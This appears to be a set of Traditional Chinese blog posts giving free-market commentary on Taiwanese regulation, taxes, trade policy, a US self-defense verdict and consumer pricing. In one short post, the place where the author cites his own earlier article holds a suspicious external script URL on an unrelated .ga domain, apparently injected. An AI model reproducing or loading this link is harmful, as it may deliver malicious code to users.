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經濟分析

更嚴格的法規副作用會讓年輕人創業更不易

食安風暴又起,近來油品混摻造成媒體又一面倒要政府負責。

所謂政府負責,說穿了就是更嚴格的食安法規與執行;這跟過去一有火災就讓消防安檢更嚴格沒兩樣。

但背後牽涉到的經濟問題有兩大點:

1. 消費者「只能」選擇高品質產品嗎?當市場只剩高價品,窮人怎麼辦? 2.更多的法規引來的更多貪汙勾結,成本是否大於安全食品帶來的利益?

對這問題直接說對的人,往往是忘了任何事情都有代價。

以大陸三聚氰胺牛奶事件來說,之所以要添加,是因為奶牛不是天天乳產量與品質都一樣;為了符合所謂的「標準」,造成奶源必須動手腳,否則可能血本無歸。

當媒體與社會多數人以「工業標準」來對待自然產物時,必然得有相當食品工業手段來使其達到標準。

這過程往往會發生:a. 產品造假與 b.廠商與官員勾結。

這兩者我過去都曾寫過文章:「資本主義造成短視近利?黑心商人也是因為短視近利?」、「貪汙的一般性理論(中)

前文我主要觀點是:如果我們老是設立特別法與特別機構來專責某些事情,則該機構很容易形成一種新的貪汙組織,這個組織與其所被賦予的權力,本身就是一種吸引廠商偷雞摸狗的強大誘因。

後文我則談到:這類公權力生出來的貪汙組織,本身會傾向將自己制度化,使得這個社會難以將其拔除,以維持自身恆久收入最大化。

我的長期讀者都知道我大概怎麼看這個假油事件。

i. 高標準食品安全法規,只會讓窮人得付出更高的收入比例去滿足食慾,窮人將更窮。
ii. 媒體一方面表現關心中低階層,但一方面又常主張政府要介入這個那個,結果往往只是讓中低階層更慘,然媒體卻渾然不知。
iii. 從商周等雜誌報導來看,大統老闆很可能與黨政關係人有某種默契,才讓過去基層公務員查察如此困難。但這也印證了我在「貪汙一般性理論」中所言:特別法與其公務機構,只是創造官商勾結的誘因,勝過保護民眾的實效。
iv. 媒體對於食品安全的過度反應,往往也會造成民眾錯誤觀念。上次塑化劑事件,參與團體訴訟的民眾乃至於媒體,似乎都認為自身損害重大,亦或應該要重判廠商賠償額以正視聽。殊不知侵權行為法的根本原則是「彌平損失、恢復原狀」 — 消基會律師壓根沒說服法官,消費者究竟「受損了什麼」?這一點在法律上是非常重要!你一定要能成功證明你究竟損失了什麼,損失了多少,侵權行為才能依法判賠。

而媒體報導廠商忝不知恥地主張衛福部某些資料狡辯,整件事只彰顯台灣媒體法治程度之低落與可笑 — 法庭上攻防兩方本來就是有法律上的權利,主張對自己有利之事實(只要其非作偽證或故意誤導法庭)。台灣媒體一副未審先判,然後片面要求其眼中的罪人「伏首認罪,不准狡辯」的態度,跟文化大革命紅衛兵實在沒兩樣。

我在這兩篇文章都沒談到的一個觀點,這裡趁機多談一點,就是更嚴格的安全法規,其最大副作用是青年人創業門檻會增加。

以台灣現在的工廠法、食品衛生管理法或化妝品…..等相關法規為例,一個年輕人今天假如想要開一家化妝品工廠,其所要付出的直接成本,可能要高達數千萬(包含土地成本、建物成本、建物要符合各式法規以及申請等成本)。比如工廠法規定某種坪數以下的土地,壓根不能蓋化妝品廠;相關法規更規定,即便你土地面積相符,使用限制也符合,但是該土地聯外道路寬度不夠,或是土地面路的寬度不夠,你也蓋不了廠房。

種種法規多如牛毛,一個即便是法律專業的年輕人,如果不是專攻此類法律的,也懵懵懂懂難以適應。

更甭提不同法規有不同權責單位,每個單位又各行其是。一個有心要創業的年輕人,光是應付政府這一關,就不曉得要磨掉多少心力與熱情。

對於家裡沒有富爸爸的年輕人來說,相較於開工廠,開咖啡店、加盟飲料店倒真是一個簡單上許多的選項。

郭台銘曾經批評現在年輕人只剩開咖啡店的志氣。其實客觀來看,現在的創業環境遠遠不如30、40年前,可以「客廳即工廠」創業的郭先生當年的環境。

政府提供一堆無關痛癢的「青年創業貸款」,卻無力、不願也無視青年創業所要面對的政府障礙,台灣年輕人難怪淪落到只會沒事抗議哭么,對行政首長丟鞋。

另一方面,高法規障礙也會形成保護現有廠商的壟斷性。先前文章談過了,供應者的租值很大一部分來自於上頭成本,也就是已經投入的代價。這代價帶來的租值有多少,又端視於新競爭對手的進入障礙 — 進入障礙越高,既有廠商的租值越高(因為壟斷性越強)。

我也說過,市場自然形成的壟斷不可怕,大如微軟都能兵敗如山倒;然而,政府法規建立起來的壟斷性才是最難以克服,卻偏偏又不是反托拉斯法要去處理的。政府的雙重人格,可見一斑。更多的法規並不能解決問題,也由此可見。

因此,台灣年輕人憤怒,往往是對貧富差距不滿;「貧富差距」是不是問題?認為是的,多半經濟學程度小學生不如,這包含了一些諾貝爾學獎得主;真正的問題是在於引發貧富差距的法規設計,而這些設計又往往來自於許許多多、疊床架屋的「for perople’s own good」的法規。想要透過更多法規或是稅制來改善貧富差距,是請鬼開藥單。

表面上保護人民、消費者的法規,實質保障了既有廠商的租值,也阻擋了年輕人創業的路。這,才是問題核心!

 

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Mac

夢的啟示

昨天做夢夢到:夢中有神人指點我,這東西台灣應該不會上市,因為某一種要通電的檢查過不了。過不了的原因是一種要付費的鑰匙,美國原廠拒絕支付。

醒來我怔怔地想起我自己寫過的一篇文章https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

高不動產稅率不會影響產出誘因?

中研院經濟研究所副研究員莊委桐的高論:

一個簡單的基本原則是,對於自住型的住宅,政府可以不予變動稅率:但是對於持有自住目的以外的房屋者,便可考慮採取累進稅率:擁有房屋愈多,則稅率愈高。但執行時如何採取漸進或階段式作法以降低經濟體系的衝擊,都有賴各界進一步地集思廣益。
在政府所有的課稅項目中,提高房產稅只會降低民眾持有房地產的需求。它既不像所得稅會減少工作誘因,也不像證所稅會影響新創事業的投資誘因和企業集資需求,可說是正面效益多於負面作用的稅目。

首先,一個經濟學者會談「合理價格」本身就是一件非常不合理的事情,彷若自己比市場還更懂價格,天才無異?!

再者,認為房地產供給不受租值降低影響,更是主流經濟學的一大盲點與錯誤。

任何具備租值的供給,都會因為稅賦減少租值下,改變供給的內容;是的,不動產供給量或許不變,但是供給內容與品質肯定會改變。

這是基本經濟學概念掌握得夠不夠的問題,更是對於真實世界是否了解的問題。

另一方面,高不動產稅也會影響:1. 不動產投資業者的意願;2. 工商業創業者的意願。

我在加州灣區居住時,租在一個集合式有庭園的出租公寓裡,住的是常見的1 B/1 B。而這間公寓是由一家土地投資公司所經營,這家公司就我所知,在灣區經營了10幾個類似的項目。當非自住住宅相關稅率高到某種程度,這種行業根本不可能生存。莊先生宣稱不影響事業投資誘因?顯然錯了。

最著名的例子:紐約的key money。20世紀初期,紐約市政府認為紐約住宅租金過高,於是實施長期的價格管制,法規強制規定租金不得高於某某數字。其結果是什麼?

老舊的、地區不好的房屋,租金的確不會高過那個數字,但是屋主也不再付出任何一點錢,來整修、維護或改建這些老房子。貧民窟自此而生。Dustin Hoffman年輕時曾演出「午夜牛郎」一片,所偷住的住宅即是。

而較新、區域較好的房屋,在競爭之下,租金怎麼可能低於法定金額?於是key money應運而生!沒錯,房間租金的確是一個月500美元,但你要跟房東拿到房間鑰匙,鑰匙的租金一個月可要2000元!在價格管制時期,key money也揮之不散。

主張透過稅率來管制台灣房價的莊先生,又如何能避免這種狀況發生?我看不出高明之處何在。

工商業投資幾乎脫離不了土地使用,即便是一家全部委外代工的網路品牌商,就算不需要店面,倉儲仍是不可避免;不動產稅率高低,必然影響倉儲租金乃至於購買成本,稅率高到某個程度,怎麼不會影響到工作誘因與事業投資?

孫中山承繼經濟學很爛的Henry George,主張平均地權,說穿了背後的錯誤經濟思維誤認:土地供給不會改變,所以你怎麼課稅都沒關係。但此論調無論在經濟學邏輯上亦或真實世界實證上,都是錯誤且不堪一擊。

這種大錯特錯的老舊經濟學,如果在今日還有貴為中研院經濟學者在鼓吹,台灣經濟政策制定乃至於教育,嗯……

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隨筆 法律

種族主義乎?

像這種討論種族主義的文章,本身就充滿偏見與歧視。

文章中舉美國前陣子發生的「Trayvon Martin遭槍殺」一案,直接認定:a. Martin因為是黑人所以被懷疑且射殺;b.陪審團都是種族主義者。

2012年2月,美國佛羅里達州有個17歲的黑人孩子Trayvon Martin,穿著一件戴帽T(hoodie),跟父親到一個有保全管理的社區去找朋友。嘴饞的他繞去超商買果汁糖,遇到了George Zimmerman,一個西班牙裔的白人,也是該社區的守望相助隊員。Zimmerman看見這個把手放在口袋裡的黑人孩子,聯想到社會新聞、好萊塢電影裡的危險黑人形象,從而衍生猜疑與恐懼—這個外來者闖入我們社區幹什麼?口袋裡藏的是槍還是毒品?他以「正當防衛」之名開槍殺了這個孩子,斑斑的血跡滴在口袋裡屋鮮豔的果汁糖上。2013年7月佛羅里達法庭宣判,缺乏種族多元性的陪審團判定Zimmerman無罪開釋,在全美各地引起譁然與抗議。歐巴馬總統在事件發生後語帶哽咽地說:「Trayvon Martin could have been my son(如果我有兒子,也可能發生類似的遭遇)」。

結論當然是得出:Martin是種族主義的受害者。

可台大社會系藍佩嘉此文壓根沒有提法庭證據顯示:

案發的情形是,辛默曼駕車回家途中路上看到馬丁,感覺他不像這個社區的人,再加上馬丁沒走人行道,而是在房子之間的草坪穿行;當時下著雨,可馬丁卻不像要急於回家避雨的樣子,形跡可疑。由於該社區曾多次發生盜竊案,所以作為社區義務保安員的辛默曼打了911報警電話。辛默曼以前曾9次報警,其中5次犯案嫌疑都跑掉了。所以這次他下車跟蹤這個引起他懷疑的人。隨後90秒發生了他們兩人扭打、搏鬥,最後辛默曼開槍打死馬丁的悲劇。

無論是最早趕到現場的警察拍的照片,還是好奇鄰居拍的照片,都顯示辛默曼後腦勺有兩條傷口,鼻子出血;而且頭和後背都沾著草沫泥土(因下雨),證實辛默曼的描述:他當時被馬丁壓倒在地。」

更甭提該文章誤導性地主張「…缺乏種族多元性的陪審團判定Zimmerman無罪開釋,在全美各地引起譁然與抗議…」

事實上如美國哈佛法學院教授Alan Dershowitz在接受BBC受訪時即表示:

the verdict was “right" and that there was “reasonable doubt" as to Zimmerman’s guilt. In regards to the prosecution, he said to Mike Huckabee: “She (State Attorney Angela Corey) submitted an affidavit that was, if not perjurious, completely misleading. She violated all kinds of rules of the profession, and her conduct bordered on criminal conduct. ….

ABC電視台的法務長Dan Abrams甚至主張

ABC chief legal affairs anchor Dan Abrams called it “the right legal verdict". He said the prosecution had a tough case from the start, and, “as a legal matter, I don’t see how they [the jury] could have reached another verdict, considering how the law works with regard to self-defense

我並不否認美國有種族主義,事實上,如著名歌舞劇Avenue Q 中一首歌:

我也認為的確人人或多或少都有種族偏見。

但刻意忽略某些事實,然後直接將該判決結果劃入種族主義後,加以主觀批判一番,這種做學問方式我不懂;讀者豈能不慎?

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經濟分析 隨筆

囤積與投資根本是同一件事

聯合報報導:全台66萬人擁逾3房 奢侈稅能廢嗎

財政部昨天公布奢侈稅報告,全國超過六十六萬人持有三間以上房屋,顯示囤地囤房現象嚴重;若無奢侈稅,全國平均房價將比實際房價更飆漲,雙北房地短期交易也可能暴增至兩位數成長,代表民眾購屋痛苦指數的「全國平均房價所得比」恐超過十倍(民眾平均要工作十年、且不吃不喝,才買得起一棟房子)。…

…黃耀輝說,奢侈稅抑制房市飆漲歪風,不再發生民國九十九年「一日三市」情形;但當前房市「囤屋囤地、短進短出」仍嚴重,他建議奢侈稅不能退場,還要延長課稅年限至三或四年。他表示,台灣持有三屋以上者約六十六萬兩千多人,這些人若繼續買房,恐怕不是為了自住需求,未來應對「一戶多屋者」擴大課徵買方奢侈稅。…

…黃耀輝說,帝寶豪宅一戶動輒數億元,一年房屋稅和地價稅僅約十六萬元,未來應提高非自住者不動產稅負;部分囤房囤地者轉向非都市地區土地、農用地、工業用地炒作,這是「漏網之魚」,未來也建議修法遏阻。

囤積學歷、囤積股票、囤積鋼彈模型、囤積中古車、囤積大宗物資都可以,但是囤積房屋就不行?為何台灣政府官員的經濟邏輯可以愚蠢到如此程度?

囤積跟投資本是一體兩面,所有的投資都是放棄現在的消費,換取明天的收入;如果囤積房屋是罪惡的話,政府乾脆廢掉所有學校,因為囤積知識以換取未來高薪也是同樣充滿罪惡的經濟行為。

「居住正義」是亂七八糟的福利觀念,「人人有屋住」不代表這世界就應該「人人『所有』房屋」。

社會富有的過程,競爭之下的成功者本來就會有較多財富,需要找地方放;定存、股票、債券、名車乃至於房屋,都是自然存在的投資標的。

政府胡亂打壓,只是讓這些資金從A處幾往B處。當你試圖管控房價,則通膨會發生在未被管制的項目上,例如股市。這跟擠壓氣球是一樣的。

當你管制項目越多,則資金市場被迫發明新玩意來規避,例如台灣的儲蓄型保險,亦或大陸的投資產品,亦或美國的存單。這些都是政府管制下的變形產物,究竟是資金的錯?還是政府的錯?

唯一可以確定的,是這些管制所帶來的行政成本、資金移轉成本乃至於契約成本,都是原本無需付出的社會耗損。無人得利,多邊均輸,這種蠢政策只是為了討好一群主張正義的學者或無知民眾,可笑。

政府的稅制,應該與政府提供的服務掛勾,讓「稅」接近「租」;而非與「正義」掛勾。當稅淪為「正義」的工具,則政府的稅制也永遠只是某些人打壓另外一些人的武器而已。

因為某人經商成功賺錢,就要用稅法懲治他,逼迫他吐出多數財富,美其名「降低貧富差距」,這樣的社會只是鼓勵年輕人安逸怠惰,永遠也別創業!

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經濟分析 法律

從台灣中國服務貿易協議看教授們的邏輯

最近公事進入緊鑼密鼓階段,詳細的長文沒時間寫,摘要思緒如下:

6月底時,我已寫過一篇「關於服務貿易協議」,其中重點有三:

i. 任何貿易壁壘或限制的降低與取消,對社會多數人民都是益大於弊,這是經濟學早有的共識與基本邏輯。對此提出質疑的所謂經濟學教授們,經濟學懂深不懂淺,把基礎邏輯給丟了。

當然,任何貿易限制的取消,一定會有一群人受損,即在原本限制之下享有租值的人。例如原本在限制下的供應商,當然享有相當高的租值,如今拿掉了,直接要面對財富下降的結果。這群人自然會起身抵抗,但如果只是為了少數人而繼續貿易限制,實證告訴我們其實是拿多數人可以省下的錢,去餵養少數人的租值,得不償失。

現在檯面上的政客或學者,完全忽略此點,只為了保護少數人而要多數消費者付出代價,這種民主很可笑。

ii. 就算開放服務業,以台灣市場規模而言,大陸廠商還不一定想來投資。利弊分析,是所有商業行為的基礎,以台灣市場規模來看,進入市場須投入的直接成本不見得低於大陸市場,但是每單位投入帶來的可預期收益,很可能會低於大陸市場。若是如此,幹嘛去台灣找死?

這是基本商業感受與經濟邏輯,不懂的教授們….看來一輩子也不會懂。

只是讓我想到Milton Friedman說過,學經濟學不是在於你懂多少理論,而在於你經濟感受力好不好。想透過學經濟學來更懂商業,進而致富的同學,對於這些胡說八道的教授們,多小心吧。

iii. 就算要來,依據經濟學大師Alchian著名的定律,同樣一次功夫,能塞多少是多少,帶到國際市場上看,就是一樣的出口投資,打高不打低為上策。真實世界不會有人千里迢迢大張旗鼓到他國,只是為了開一家小麵攤、小理髮院。除非這人是走投無路,如早期許多破產跑路到美國開小攤販的一樣,才有可能。但即便如此,回到第一點,這對台灣人民並沒有什麼不好。

可預期的是真有大陸商人要來,也會是以連鎖體系的大商號為主。在台灣,會是財團對財團的戰爭,小商家邊上看,如有歸屬租值的,則壓根不受影響。

此點,也是多數經濟學教授忽略的了。

而今日台大法律系教授顏厥安一文「服貿協議該如何審查(顏厥安)」,更讓我深感不只經濟學教授,連法律系教授在論事用法上,連基礎法學邏輯都忘光了?!

顏厥安主張:

所有的審查標準都與一個基本原則相關:重要性理論。也就是涉及人民的權利義務越重大,牽涉到國家、經濟、社會、文化等層面越深廣的議題,就需要有越嚴格的審查標準。

服貿協議衝擊數百萬的就業人口,連同家庭可能超過千萬,六、七成的GDP,牽涉金融、資安、社福、醫療等議題,對重要性這麼高的協議,立法院當然要以最嚴格的標準來把關審查。

憲法從第九條起,到基本自由原則的第23條:

第 9 條
人民除現役軍人外,不受軍事審判。

第 10 條
人民有居住及遷徙之自由。

第 11 條
人民有言論、講學、著作及出版之自由。

第 12 條
人民有秘密通訊之自由。

第 13 條
人民有信仰宗教之自由。

第 14 條
人民有集會及結社之自由。

第 15 條
人民之生存權、工作權及財產權,應予保障。

第 22 條
凡人民之其他自由及權利,不妨害社會秩序公共利益者,均受憲法之保障。

第 23 條
以上各條列舉之自由權利,除為防止妨礙他人自由、避免緊急危難、維持社會秩序,或增進公共利益所必要者外,不得以法律限制之。

可以看出來憲法列舉了一些基本自由權,而在第23條概括說除了四種原因,不得「以法律限制之」,我再強調一次,是「不得以法律限制之」。

也就是說,憲法邏輯上,當政府要推一個限制人民自由權的法案,無論是酒駕加重處罰、軍法改為違法一律死刑或低收入戶無投票權….等,屬於「限制人民自由」之法律,都需要經過第23條四種判斷因子的審查,審查強度如何區分,就如顏厥安所言,是憲法的「比例原則」或「重要性理論」這種騙騙小孩子的玩意了。

反之,如果政府是開放人民自由,例如80年代的解除黨禁、報禁,那就毋須引入嚴格審查標準,甚至根本毋須引入違憲審查。

服務貿易協議內容是什麼?是開放台灣人民在某些條件下赴大陸投資某些行業;同時也開放中國人民在某些條件下,可以來台灣投資營運某些行業。

總結來說,該協議如在台灣真成為法律生效,其效果是:減少對台灣人民與特定外國人的限制。

剛剛前面說過的法學基礎邏輯是什麼?是如要限制台灣人民,要通過憲法的違憲審查,第23條是一定要過的。(當然,真實世界通常也沒這樣做;政府一堆限制人民自由的法案壓根過不了第23條審查,一樣在實施在限制或處罰人民)。

服務貿易協議本質並非「限制人民自由」,相反的,是「開放人民自由」。這個大前提沒搞清楚,顏厥安就大放厥詞地要引入「嚴格的審查標準」。

顏教授,你這樣憲法邏輯不及格喔。

我上篇文章與本文前段說了,開放貿易限制,亦即開放人民自由,勢必會影響原本因限制而享有租值的人,但這在憲法邏輯上不構成必然須引入「嚴格審查」的結果。

如開放黨禁報禁,必然造成國民黨高幹或當年的壟斷報業的財富大幅下降,而這個下降事後諸葛來看,是非常明顯的。但一樣毋須引入違憲審查,來審視開放黨禁報禁,更枉論嚴格審查。

本文重點就這麼一點。

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What a Great Flash Mob Chorus in Taipei 101!

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有趣的插隊現象

The Atlantic 報導:「Well, This Is Just Awful: ‘Renting’ Disabled People to Skip Lines at Disney World

去過美國迪士尼樂園的讀者,應該都曾被園區內驚人的排隊人龍給嚇過。事實上你可以選擇不排隊優先通關,只要你願意每人多付170~270美元,就能一路暢行無阻,把愚蠢的排隊人潮通通拋諸腦後。

想省這筆錢又想要能合理插隊?簡單,如果你本身或你家人裡有殘障人士,則迪士尼樂園讓你無需額外付費,就能享有前述的特權。

於是乎,美國就有夫妻「租」了一個殘障人士,好讓自己的家庭可以插隊每項遊樂設施,免去動輒1、2個小時的等候。

經濟分析來看當然是簡單的:

1. 只要有人認為自己的時間成本高過170~270美元,就會傾向選擇付費取代排隊時間。比如說在園區內從早排到晚只能玩到5項設施,花費6小時,付費之後可玩到12項設施,免去排隊之苦且可能不到4小時就能輕鬆離園從事其他活動或休息。若後者帶來的益處大過額外費用,遊客就會支付。

2. 若家裡有殘障人士就免去額外費用,這表示兩種狀況存在租值的差異 — 免排隊之益處加節省的費用。換言之,如果租一個殘障人士費用小於額外費用,則遊客就有誘因去租。但這也牽涉到遊客的自責內疚成本(包含他人知情後帶來的譴責的可能性)、尋找願意配合之殘障人士的難度、與陌生人共遊的不適…等其他代價。

3. 經濟學說:不可能存在無主孤魂的租值。只要有盈利存在,就會有人去爭取。前述享受免排隊特權的契約安排,存在有殘障人士與無殘障人士兩種不同的成本付出,二者差值就是一種租值。只要租值存在,就會有人去爭取、榨取。這是人的自私行為所導致。

經濟學家張五常的「The Theory of Price Control」一文認為:價格管制會導致租值消散,引發降低消散的行為。從侷限條件的考察,可以預先推測何種降低消散的行為會發生。

迪士尼樂園的價格安排,是一種價格歧視(price discrimination)– 享受的服務一樣,但是因為你身分不同或成員中有一人身分不同,而有不同定價。價格歧視也是一種price control,差異在於政府發動的價格管制有強制性;而私人企業實施的價格歧視,消費者可以不買單。這也表示,迪士尼的價格安排,雖然存在著租值差異,但是會偷雞摸狗去爭取的人較少。這是因為不願意排隊也不願意支付額外價格,更不願意租用殘障人士的遊客,一開始就會選擇不去。

但為什麼報導作者在文中大做道德譴責?為什麼其他潛在客戶,也要跟著道德批判這些偷雞摸狗行為?

我的看法:照顧小孩的樂園,如提供殘障人士優惠,則除了吸引殘障人士家庭(通常不會只有殘障人士一人來遊樂),還能創造「遊樂園樂於照顧幫助弱者」的形象,對於殘障人士家屬,乃至於同樣需要照顧之小孩的父母來說,有一定的廣告效應。

另一方面,遊樂園開放殘障人士,卻不針對殘障人士與同遊旅客做身家調查,也往往是因為交易費用過高 — 要調查出真相需要相當的費用與時間。此外,一一盤查的作法也可能嚇跑遊客。這如同多數飯店跟客人收了住宿費用之後,並不特別針對旅客的用水、用電額外收費。一者,每個房間單獨裝水電錶有其費用;二者,水電完全是旅客必用的資源,一一計量收費也會給旅客留下壞印象,從而影響商譽。

賣方(迪士尼)不希望有人利用漏洞插隊,理所當然:差額是迪士尼盡收的租值,沒道理被人這樣騙走。同時原有的廣告效應如不處理,可能未蒙其利、先受其害。迪士尼不處理都不行。

這個經濟論點驗證上,我們可以看那些「不需要創造願意照顧弱者形象」的商業,例如銀行,一般銀行並不因為某人是殘障人士,所以匯款轉帳手續費乃至於利率都有優惠。

站在被租用的殘障人士立場,既有額外收入又能享受遊樂園之趣,撇開閒言閒語的代價,何樂而不為?

回過頭來看其他遊客。

如果有人利用租來的殘障遊客節省排隊時間,對於沒租也不願意付額外費用的旅客來說是增加了排隊的成本,後者當然要抗議。(事實上對於有付額外費用的旅客來說,也可能增加排隊成本)

成本永遠是未來的選項。還在排隊或者未來可能蒞臨的客人,會受到這種作弊行為而受損失。但是已經排過隊、玩到遊樂設施的人來說,後來的作弊者就無影響。但,這樣的作弊行為同樣適用於任何有提供「殘障優惠」的服務或商品上,如果不引入道德譴責,增加行為者的良心成本,則本來事不關己的第三人,某天也可能成為此作弊行為下的受害者。也因為如此,在這件事情上的道德譴責強度就會提高。而更重要的是,「道德譴責」也是第三者唯一能使用的低費用武器,要透過法院處理作弊行為,一者法源上無請求權,二者法律也不允許對還沒發生的損失與侵權行為進行求償。

舉個反例來說,台灣有多少百貨公司停車場的殘障停車格,被非殘障人士的車輛給佔用?以我自身觀察來看,其實比例非常高。然而因為百貨公司並沒有在消費金額上給殘障者特別優惠,所以對於車位是誰停的,百貨公司其實是不在乎的。對百貨公司而言,來者就是客,自然也沒有誘因去糾正此現象;多數消費者也不因為有人作弊偷停殘障車格,而受多大損失,在這件事情上的道德批判強度自然弱上不少。

簡而言之,從成本角度來看,當其他人的作弊行為會增加自己未來的成本(也可以說減少自己未來的選項)時,則人們傾向痛下殺手,賦予更多的道德譴責;反之,則漠然以對。而作弊行為只要有利可圖,永遠都會有人奮不顧身地做下去。

這邊還能延伸出一個問題:為什麼大眾交通工具要鼓勵年輕人讓座給「老弱婦孺」?有興趣的網友可以自己想想。

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筆記

政府是個什麼心態?

已故美國前總統雷根針對政府官僚的心態,有以下極為精闢的描述:

The government’s view of the economy could be summed up in a few short phrases: If it moves, tax it. If it keeps moving, regulate it. And if it stops moving, subsidize it.

政府對經濟事務的看法可簡述如下:只要會動的,就課稅!課了稅還在動,就管制!管制到一動也不動了,那就補貼一點。

PCHome老闆詹先生,您的第三方支付連第一個階段都還達不到呢,即便這群失敗主義者真的開放了,後面相信會是更崎嶇的路。

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經濟分析

水上樂園比基尼,婦女團體管個屁?

針對聯合報的報導:「被批物化女性 青年公園比基尼之夜喊停

台北市政府委外經營的青年公園游泳池,日前推出暑期「比基尼之夜」活動,周三晚間只要穿比基尼就可免費入場。婦女團體昨批評此舉把泳池「夜店化」,北市府不但沒帶頭去除女性刻板形象,還將偷窺女體慾望包裝在「優惠」之下。

…台灣女人連線理事長黃淑英批評,這是「物化女性」噱頭,看似「免費」,其實是在「消費」女性。她表示,游泳池是全家大小出遊的場所,怎麼會設下標準才能換取優惠?尤其政府委外廠商推出的優惠促銷,應兼顧普及、合理及公平,讓不同族群都能享受多元優惠方案,不該變成展露及比較女性身體的舞台,或有身材歧視。她還舉自己為例說,「像我六十二歲,要我穿比基尼在路上走也很奇怪」。…

…台北市女性權益促進會理事陳怡君表示,北市府推行的政策應該引導進步價值,不該抱持「民間夜店怎樣,我們也可以」的心態。…

…馬拉灣水上樂園暑假期間推出周一至周五穿「三片式比基尼」入園只要一百元,也被婦女團體批評。婦女團體呼籲,業者應停止剝削女性的行銷,讓水上樂園回歸家庭、健康的休閒娛樂。…

2009年我寫過一篇「從殺很大談言論自由」與「從上空女郎談競爭準則」,就曾批評:

1. 我們不曉得「物化女性」究竟是指什麼東西?猛男秀是不是?偶像劇中的花美男是不是?被利用去修電腦的宅男是不是?為什麼辣妹秀是?為什麼AV女優是?又為什麼被免費優惠吸引來的比基尼女郎是?

講來講去,似乎就是某些在性相關市場上(包含婚姻市場與一夜情市場)競爭力弱的人,對某種現象不滿,就可以歸化為「物化女性」這個大帽子,然後要求公權力加以禁止。

這是定義非常亂七八糟且隨便侵害他人言論自由的行為。

2. 舉辦此類活動來招攬客人的廠商,本身就承擔了一定的財產風險 — 如果說比基尼優惠活動真的那麼讓社會多數人深惡痛絕,則廠商就要面臨收入與財富下降的後果。

沒有什麼,比讓一個廠商虧錢有更強的拘束效果!

3. 社會上某些團體,成員總認為自己的價值觀優於他人,他人應該接受其指導拘束。此新聞只不過是一例。

4. 自願參與比基尼優惠的年輕女性,一來廠商並沒有拿著槍逼迫他們,二來也這些女生說不定自己也希望能享受此優惠,三來,根據我的觀察,許多女生很享受他人對自己美貌投以崇羨與注目的眼光。更重要的是,享受比基尼優惠的女生,其實也在利用其他付了門票錢的人的支出;廠商利用某些人的門票錢換來更高的收益,廣告費無疑;沒穿比基尼的分擔了比基尼女生的費用,卻換得自己所希望的享受。

如此看來,三贏局面,何勞這些自詡為道德高尚之人指指點點?更別說這些團體何德何能干預他人如何使用自身權利?何來「剝削女性」之有?

5. 青年公園游泳池委外經營,是一種產權的使用權轉出以及收益權分享的制度;換言之,在政府與承包業者契約內沒有明定何種促銷模式不可行的前提之下,只要該促銷活動沒有違法,政府與民間團體是無從過問。

假設後二者過問之下,廠商就真的不敢再如此推銷,則未來換約時,政府必須付出更高代價,否則難以吸引民間廠商願意承包經營。

整體來看,民間廠商收益有損失;政府未來也會有所損失;唯一沒損失又賺到爽的,就是這些團體。如果我們基於R. Coase的經濟理論,來擴大解釋民法第184條第一項後段:

…故意以背於善良風俗之方法,加損害於他人者亦同。

這些婦女團體是不是應該要支付民間廠商的損失?

我個人倒是很認同:只要這些看不慣的婦女團體付一筆錢簽下契約,買下廠商不以比基尼女郎行銷這個權利,否則就請別動不動就拿自己的道德來壓迫別人。出一張嘴就要人家減少收益自己還不用負責,其實,整個狀況還比較像是「婦女團體在剝削廠商」。